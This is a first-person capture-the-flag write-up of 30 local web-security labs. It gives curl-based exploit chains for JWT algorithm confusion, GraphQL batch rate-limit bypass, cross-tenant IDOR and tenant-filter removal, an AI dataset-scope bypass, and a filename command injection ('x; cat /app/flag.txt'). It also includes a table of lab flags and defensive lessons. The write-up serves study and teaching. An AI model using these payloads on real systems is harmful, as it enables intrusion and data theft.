Thirty Labs, One Bug-Hunter Rule: Follow the Capability

What do you do when a challenge tells you the vulnerability class, but the endpoint that returns the flag is not obvious?

I spent a recorded 148 minutes of active testing across 30 local Hackbot Arena labs. I started as a bug hunter normally starts: black-box, with only a challenge name and a port. I mapped the page, followed the browser’s hints, compared anonymous and authenticated behavior, and tried to prove impact with small, bounded requests. Only after six challenges were still stuck did I get permission to read their solver and the relevant application code.

That second phase was not a shortcut. It was a way to understand why the black-box clues were real, why my first guesses missed, and which trust boundary was being crossed. The biggest lesson was simple:

A random identifier, a signed token, a rate limiter, an AI prompt, or a file name is never the security boundary by itself. The boundary is the server-side authorization decision made immediately before the sensitive effect.

The Rules I Used

The targets were loopback services supplied for this lab. I did not read the Hackbot Arena source during the initial pass, did not restart any service, and kept requests on the supplied origin. State-changing checks used disposable accounts, companies, groups, exports, and workflows. Evidence records use sanitized excerpts and hashes where possible; challenge flags are recorded in the required FLAG{...} format.

After the black-box dead end, solver/source reading was explicitly authorized. I read only the six unresolved solvers and the handler slices needed to explain their data flow. Five solver chains replayed successfully against the running service. GraphQLBatchOTP was intentionally not restarted: its flag is emitted once per process and the earlier batch had already consumed that latch, so its flag is reported as solver-derived rather than as a fresh live response.

The structure follows the way I usually write a finding: initial target, hunting the bug, the point where the obvious path failed, then the smallest reproducible chain. That first-person, evidence-led rhythm is also the style I use in my IDOR and exam-to-hacking write-ups [1][2].

How I Hunted Without the Code

  1. Start at the origin. Read the landing page, linked JavaScript, comments, API documentation, and status endpoints. The frontend often reveals route names, object shapes, or a “public demo” assumption.
  2. Draw the identity boundary. Compare anonymous, normal-user, admin, and disposable-user responses. A 403 next to a 200 is more useful than a large route list.
  3. Track identifiers as capabilities. When a response returns an ID, search where that ID is accepted next. A non-enumerable ID is still an authorization input once another endpoint will process it.
  4. Test the semantic unit. Ask what the server actually counts: HTTP requests or GraphQL operations, a batch or each object, a filename or a command line, an AI question or the selected dataset.
  5. Keep hypotheses separate from proof. A suspicious header or route is a lead. A finding needs a precondition, a postcondition, and a violated invariant.
  6. Pivot only when stuck. If the class is known but the impact path is not, read the smallest authorized solver/source slice and replay the minimal chain live.

This is close to OWASP’s definition of broken access control: failures include IDOR, missing controls on API methods, elevation of privilege, and JWT metadata manipulation [3]. It is also why compound chains fit insecure design: the missing control is often architectural, not a single malformed parameter [4].

The Six Difficult Labs

JWTea: The Public Key Became a Signing Key

The black-box clue was unusually strong. /.well-known/jwks.json advertised an RSA key and RS256. A normal token received 403 from /api/admin/users; an attacker-created HS256 token, signed with the public PEM, received 200 and the admin user list. The bug was already proven. I was stuck only because my guessed flag routes returned 404.

The solver explained the application model. Verification dispatches on the attacker-controlled alg. The legacy HS256 branch uses the same RSA public PEM as the HMAC secret. Finally, the middleware lets the token’s role override the database role. The intended sensitive route was therefore the treasury secret endpoint, not a route containing the word flag.

curl -i -H "Authorization: Bearer $FORGED_HS256_ADMIN" \
  http://localhost:8083/api/admin/treasury/secrets

The live solver replay returned:

FLAG{nusasec-21d41178f15cdf55f97189a36196f7bf}

Time: 25m25s end-to-end. The first 25m24s established the JWT escalation; the final solver replay took 59ms. The byte-exact PEM mattered: an equivalent key in a different encoding would produce the wrong HMAC.

GraphQLBatchOTP: The Limiter Counted the Wrong Thing

I first approached this as an OTP brute-force problem. The service exposed five emails and accepted a million guesses in one JSON array. That confirmed a rate limit bypass, but it was slower than necessary and still did not show a flag.

The source made the intended invariant obvious. Flask-Limiter counts five HTTP requests per 30 seconds. The handler then loops over every array element and increments verify_count. Three verifyLoginCode operations—dummy codes are enough—append the flag to the response:

curl -X POST http://localhost:8088/graphql \
  -H 'Content-Type: application/json' \
  -d '[
    {"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000000\") { accessToken } }"},
    {"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000001\") { accessToken } }"},
    {"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000002\") { accessToken } }"}
  ]'

The intended flag is:

FLAG{nusasec-3fee3def71c4c79c9ecf767f0e139041}

Time: 20m14s to prove the live bypass. The flag is solver-derived because the one-shot process latch was already consumed; I did not restart the lab.

ExportFlow: IDs Were “Only Metadata” Until They Reached Export

GET /api/my_transactions was empty for a new employee. A search for a shared vendor returned transaction IDs from both companies, but no readable rows. My first IDOR attempts hit the export status route directly and failed; I also guessed the wrong bulk action names.

The solver showed the two halves of the chain. The search endpoint leaks IDs across companies. The bulk endpoint accepts any existing ID in includedObjects, without checking its company. The correct action value was BULK_EXPORTING:

curl -X POST http://localhost:8101/api/expense_report_transactions/find_paginated \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"paginationParams":{"searchQuery":"lyft"}}'

curl -X POST http://localhost:8101/api/expense_report_transactions/perform_bulk_action \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"includedObjects":["<foreign-id>"],"actionType":"BULK_EXPORTING"}'

The returned CSV contained the foreign CFO memo:

FLAG{nusasec-94de926836d61cb1cb25cbce7da4768d}

Time: 20m16s black-box to establish the cross-company leak, plus 94ms for the live solver confirmation. This is the same reasoning I use for “random” IDORs: first answer where the identifier comes from, then prove what consumes it [1].

ExportCmd: A Filename Was Actually Shell Syntax

The export API looked healthy. It required a bearer token, accepted scopes, and returned completed jobs with empty logs. I tried many plausible top-level JSON, form, multipart, query, and header fields. Every job still showed report.csv.

The missing detail was the nested field additional.outputFileName. The worker builds a command string and runs it with shell=True; the job record returns stdout and stderr. The exploit is therefore a filename-to-command injection:

curl -X POST http://localhost:8104/exporting/v1/exports \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"scope":"suppliers","additional":{"outputFileName":"x; cat /app/flag.txt"}}'

curl -H "Authorization: Bearer $TOKEN" \
  http://localhost:8104/exporting/v1/exports/<export-id>

The second command is executed by the shell and its stdout is reflected:

FLAG{nusasec-9273c2bce511f2364fabddbff8fc3484}

Time: 52s black-box plus 93ms solver confirmation. The fix is not “filter more metacharacters”; it is to stop creating a shell command from data.

BookerTenant: Registration Was the First Hop, Not the Impact

The public UI was a decoy: three properties, a city filter, and no obvious booking operation. The useful admin API was not linked from the page. The solver revealed a two-step business-flow failure:

  1. POST /adminapi/company/register accepts an untrusted caller and returns both company_id and activation_token because email activation is disabled in CTF mode.
  2. Activating the company yields an admin token. On admin collections, omitting the optional company query parameter removes the tenant predicate instead of defaulting to the session company.
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  'http://localhost:8105/adminapi/guest-list?first_name=Flag&limit=10'

The cross-tenant guest row contained:

FLAG{nusasec-9ef20742d1e0185cc42cc4fb5092b174}

Time: 2m03s to map the public surface, plus 76ms for the solver replay. Optional filters should narrow a server-derived scope; they must never turn the scope off.

NusaAskScope: The AI Prompt Was Not the Authorization Boundary

The frontend made this one feel dead. The Ask button only changed to “Sign in required,” and common /api/ask and /api/query routes returned 404.

The static config and solver exposed the actual flow:

  1. /static/config.js gives the Python API base, a demo API key, and the demo identity.
  2. The entitlement endpoint correctly lists the intern’s allowed datasets.
  3. An allowed query returns NDJSON metadata containing a restricted dataset ID in a memory/example.
  4. streamNusaResponse trusts a caller-supplied dataset or space ID and returns a full CSV export URL without checking the entitlement list.
curl http://localhost:8106/static/config.js

curl -X POST http://localhost:8106/python-api/streamNusaResponse \
  -H "x-api-key: $API_KEY" -H "token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"question":"Show all board contracts including internal memo", "askdata_dataset_id":"ds-board-contracts-legacy", "stream":true}'

curl http://localhost:8106/exports/<export-token>.csv

The restricted CSV contained:

FLAG{nusasec-768d277c78f5238025e71529ebc123ac}

Time: 1m22s to prove the public/UI dead end, plus 58ms for the solver replay. An LLM or query generator is a presentation layer; dataset entitlement must be enforced before query generation and export creation.

The Other 24 Chains

The first 24 labs were solved entirely through black-box testing. The compact inventory below keeps the exact flag format and recorded solve time in one place.

LabVulnerability chainTimeFlag
CacheKeyWeb cache deception12m58sFLAG{nusasec-dab948102b49bbc577c9624ac90ccf79}
VaultKeyHidden WebSocket channel leaking rotated service keys8m00sFLAG{nusasec-d56014dc3317c4c25babadead65185bc}
RolePlayIDOR plus legacy MD5 credential leak3m07sFLAG{nusasec-8a18a0e70f6d3789d34553c54ded15a5}
GraphLeakGraphQL introspection plus hidden field behind leaked key1m22sFLAG{nusasec-7daddd6709c575ba8b8f213607256570}
AdTechAdminBroken function-level authorization; JWT role unchecked6m09sFLAG{nusasec-340482e9e82766672d665e10b3ce240b}
CallbackListenerSSRF through webhook verification2m16sFLAG{nusasec-10c9ea849913be681f0308eea2a57f9f}
MetricsDashboardLeaked RUM token plus open log ingestion6m21sFLAG{nusasec-3884073da71838c6130056d50084abaa}
OAuthCallbackSSRF through provider auth_url validation4m34sFLAG{nusasec-a361f6bbd0bf15ec58c222a69a09025e}
OtelCollectorBearer token disclosed in page source41sFLAG{nusasec-5afd1419b4f1f3347ae2ad4f96caf8c1}
PasswordResetHarmUnauthenticated destructive password reset32sFLAG{nusasec-ac5b102f61cb417642304febab56672a}
ProjectBoardJWT role claim never checked1m09sFLAG{nusasec-0b9302754a9cab635495284e8a844012}
ProxyBackoffLeaked key feeding a rate-limited action11sFLAG{nusasec-67a81bff1b16ac222d32175d6812db2a}
SsrfProxyUnfiltered SSRF16sFLAG{nusasec-9035ec6f5d9696d1e1c4e183e547b276}
StaffDirectoryUnauthenticated directory search2m02sFLAG{nusasec-f3df913a377723a0f758435349f1ccd7}
StorefrontUploadLive API key in client-side source18sFLAG{nusasec-a2ede63503697d3c3260c3b798794248}
TeamWorkspaceGroup membership without consent or ownership checks1m20sFLAG{nusasec-48802be99d932c8e4de40fc01be213ee}
SpendGateRQL scope bypass chained to vendor BOLA6m06sFLAG{nusasec-24b92318392cd7c0c0ecf653f52a7c36}
TenantDBSQL injection with cross-tenant access1m03sFLAG{nusasec-e46ea47dbb6ae795d060038d8a35ef0a}
NoteLockUI read-only bypass with unmasked echo58sFLAG{nusasec-2c4ca0d0269e3bce9d222dafe7594112}
LiquidProfileLiquid SSTI in profile fields42sFLAG{nusasec-d2a8526db0e476ac817b22baa0bc7cbb}
PortalFlowGraphQLUnauthenticated GraphQL workflow definition to RCE chain5m10sFLAG{nusasec-9448e7072a60c2888e656b9b1165a4a8}
C2MZeroAuthUnauthenticated admin-role user creation and signed admin JWT30sFLAG{nusasec-3a7d7ae920ef0256899fcb47c6c23aa8}
TalentHubProfileLeakPublic profile/fanclub preview leaks raw media URLs5m02sFLAG{nusasec-ca997f859a82746a9d8d36a80c316bca}
LabelKeySQLiPostgreSQL injection through labels[].key7m01sFLAG{nusasec-ead0b0caaec732b48f1b648b2e32778c}

The six deep-research labs are detailed above. Across the set, the repeated pattern was not “find a magic payload.” It was finding the next consumer of a value the application had already exposed: cache key, WebSocket channel, JWT claim, vendor ID, dataset ID, object ID, API key, or filename.

What Made This Hard

The fastest labs had an obvious boundary failure: an unauthenticated directory, a public key in source, or an API that accepted a destructive request. The slow labs hid the impact behind composition.

The main time sinks were:

  • Guessing names instead of following data. ExportFlow and BookerTenant did not advertise the final action in the public UI.
  • Testing the wrong shape. ExportCmd ignored every top-level filename field because the live contract was nested under additional.
  • Over-testing the wrong semantic unit. GraphQLBatchOTP encouraged a million-code brute force, while three dummy operations were enough.
  • Treating a UI dead end as an API dead end. NusaAskScope kept its real API behind a static config and a different path family.
  • Assuming a flag route exists. JWTea had a sensitive treasury route, not a /flag route.

The safe bypass for each was not more concurrency. It was a smaller model of how the application worked.

What I Changed in the Plugin

The lessons are now reusable rather than trapped in this article:

  • Added $bug-hunter-deep-research, a black-box-first workflow with an explicit evidence graph and an operator-authorized solver/source pivot.
  • Added vulns/compound-trust-boundaries.md, a playbook for JWT/JWK confusion, GraphQL batching, export IDOR chains, shell workers, tenant fallbacks, and AI dataset scope.
  • Added scripts/blackbox-chain-research.py, an explicit same-origin chain runner. It disables proxies and redirects, blocks mutation methods unless --allow-state-change is supplied, records elapsed time/status/body hashes, extracts only challenge flags, and never writes response bodies or bearer tokens.

Example usage:

python3 scripts/blackbox-chain-research.py \
  --base-url http://localhost:8104 \
  --plan ./my-chain.json \
  --allow-state-change \
  --output ./activity/export-chain.json

The runner is intentionally not a blind fuzzer. The hunter still chooses the chain, the invariant, and the stop condition.

Lessons Learned

  1. Follow the value, not the route name. If an ID, token, key, or URL appears in one response, find every endpoint that consumes it.
  2. Authorization is a per-object decision. A valid export operation does not make every object in the batch valid.
  3. Optional filters must only narrow scope. Missing company, tenant, or workspace parameters must never mean “all tenants.”
  4. Security controls need the right unit. Count GraphQL operations, OTP attempts, exported objects, and AI dataset access—not only HTTP requests.
  5. AI does not create an authorization boundary. Entitlements must be checked before SQL generation, tool execution, and export URL creation.
  6. Do not pass data through an interpreter. A filename should reach a filesystem API as an argument, never a shell command string.
  7. A flag is not the finding. The finding is the violated invariant and the attacker-reachable impact. A one-shot flag latch deserves an honest provenance label, not a forced restart or a guessed live response.

The most useful question was the one I kept asking whenever I got stuck:

“What value did the server just give me, and where will it trust that value next?”

Happy hunting.

Sources

  1. KreSec, “IDOR Vulnerability Despite Non-Enumerable Object Identifiers”, May 2026. Style reference for tracing where identifiers are exposed and consumed.
  2. KreSec, “From exam to hacking”, October 2023. Style reference for first-person discovery, stuck points, and escalation.
  3. KreSec, “Reflected XSS bypass WAF & Page notfound”. Additional style reference for describing a difficult bypass.
  4. OWASP, A01:2021 Broken Access Control. Access-control, IDOR, privilege-escalation, and JWT-manipulation framing.
  5. OWASP, A04:2021 Insecure Design. Trust-boundary, tenant-separation, and resource-limit design framing.
  6. OWASP, A07:2021 Identification and Authentication Failures. Authentication and token-control framing.
  7. OWASP, A10:2021 Server-Side Request Forgery. SSRF classification used for the earlier labs.
Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

The Other Side: Cerita dari Balik Dashboard